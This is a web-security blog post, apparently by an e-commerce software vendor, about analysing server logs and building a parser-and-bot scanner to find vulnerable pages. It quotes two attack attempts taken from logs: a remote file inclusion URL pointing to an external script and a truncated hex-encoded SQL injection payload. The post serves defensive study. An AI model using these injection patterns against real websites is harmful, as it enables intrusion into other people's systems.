Experienced web-site users, web-programmers and site administrators in general, are aware of the importance of information given by the server logs. You may think initially that a key element of such a log is the IP information. The fact is the IP information can be manipulated and that is not an element you should rely upon. Server logs have other information like the time, server response header and URL that was accessed. The URL is the important element as it provides to a programmer the script that was accessed along with its parameters. Let's take for example an entry from the Asymmetrics server log that looks suspicious. 205.234.252.234 - - [29/Sep/2008:08:35:08 -0400] "GET //ecommerce/payment/errors.php?error=http://www.ekorea.net/forum//include/r0x.txt??? HTTP/1.1" 404 - "-" "libwww-perl/5.810" The entry shows the IP, date, URL with parameters relative to our domain (size is not shown due to the non-existing page) as well as the server response and user agent. We can only guess, since we provide among other things and e-commerce services, the bot was programmed to hypothesize on sub-folders from the root and attempted to access an ecommerce directory. Knowing of a particular weakness in a web-script here the bot attempts to include a file from an external site by passing it via the /GET array. Theoretically if we had a physical folder with that file in and the script had the particular weakness the bot expects, this attempt could had been successful into injecting the first part of their process that gives identification data. In any case a 404 was issued in that case as our e-shop will not handle errors that way.
How the URL and its parameters can be utilized Technically is straight forward what to do with the URL information. First access the URL as listed in the log manually on the web-site, treat it as a regular link and see how the server responds and how the web page looks like. This simple method could verify the page integrity as the html generated source code can be analyzed. Of course there are advanced methods to automate this process. One of them is by deploying a parsing script in conjunction with a bot. Taking this approach into the first level, the parsing script code, can read a server log file and isolate each URL request using some filtering mechanisms. When writing scripts in general you should keep them simple and test them during development. Therefore this script initially will handle only /GET parameters and parse lines, where the server response code is 200 namely the pages exists and loads with no problems or redirects. The next step will be to construct the URL and append the domain name and then pass the structured URL to the bot. In turn the bot code will open the page and analyze it. The analysis part of this operation, needs to be coded or configured such that, it will provide the store owner with useful information. Certain folder can be excluded, to speed up the automated process. For instance ruling out an images folder where the e-shop's images are stored, will eliminate the entries from the log that deal with images. This task, can be coded into the parsing script before generating the file and in turn, can be processed by the bot code. Same goes for the server response identification number where as mentioned earlier, we could start with the 200 OK pages. Another option will be to identify the URL extension and parse only the ones of interest again by filtering the server log lines against the desired string pattern. In general the parser can process a pattern at a time, thus generating a small URLs file to initially test the bot performance and generated data. The bot script can open the URLs file that was generated from the parser and begin simulating the web-site access. The bot script can include specific strings to search for, within each page once opened. One has to look for vulnerabilities and so one of them, are the PHP notices, warnings, errors and parameter propagation. Taking the notices/warnings/errors as an example the bot can be configured to identify strings like "Notice:", "Warning:", "Error:". It can also be configured to search for error strings, the web engine generates, from within the php functions. When identified these pages can be stored in a separate file for the human to analyze and rectify the problem later on. Another important area the bot can cover is the parameter propagation. The code can retrieve the invalid parameters from the URL and identify if they do propagate within the generated HTML code. We do provide dedicated services for this purpose and they're all unique in nature as each merchant has its own requirements and problems to solve with his web store. We can create custom parsers to analyze the apache server logs and also structure a bot to simulate attempts with invalid URLS and parameters thus greatly improving the store's security. The most difficult part are the conditional forms with image verification techniques in which case the store needs to be code to accommodate the simulation requirements.
Here is another entry from our log
68.113.90.96 - - [26/Sep/2008:15:31:31 -0400] "GET /osc-community.asp?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445....lots of chars... %20AS%20CHAR(4000));EXEC(@S); HTTP/1.1" 200 36582 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)" Here the attempt signifies the bot is totally ignorant of the server type and treats it as an ASP server. Presumably due to the SEO-G than can expose any kind of extension, the attacker performs an equivalent manipulation of the parameters confident it must be right as it matches the site's url extensions. SEO-G along with the validator class created by Asymmetrics provide supreme security against XSS, invalid data propagation and invalid /GET parameters. |
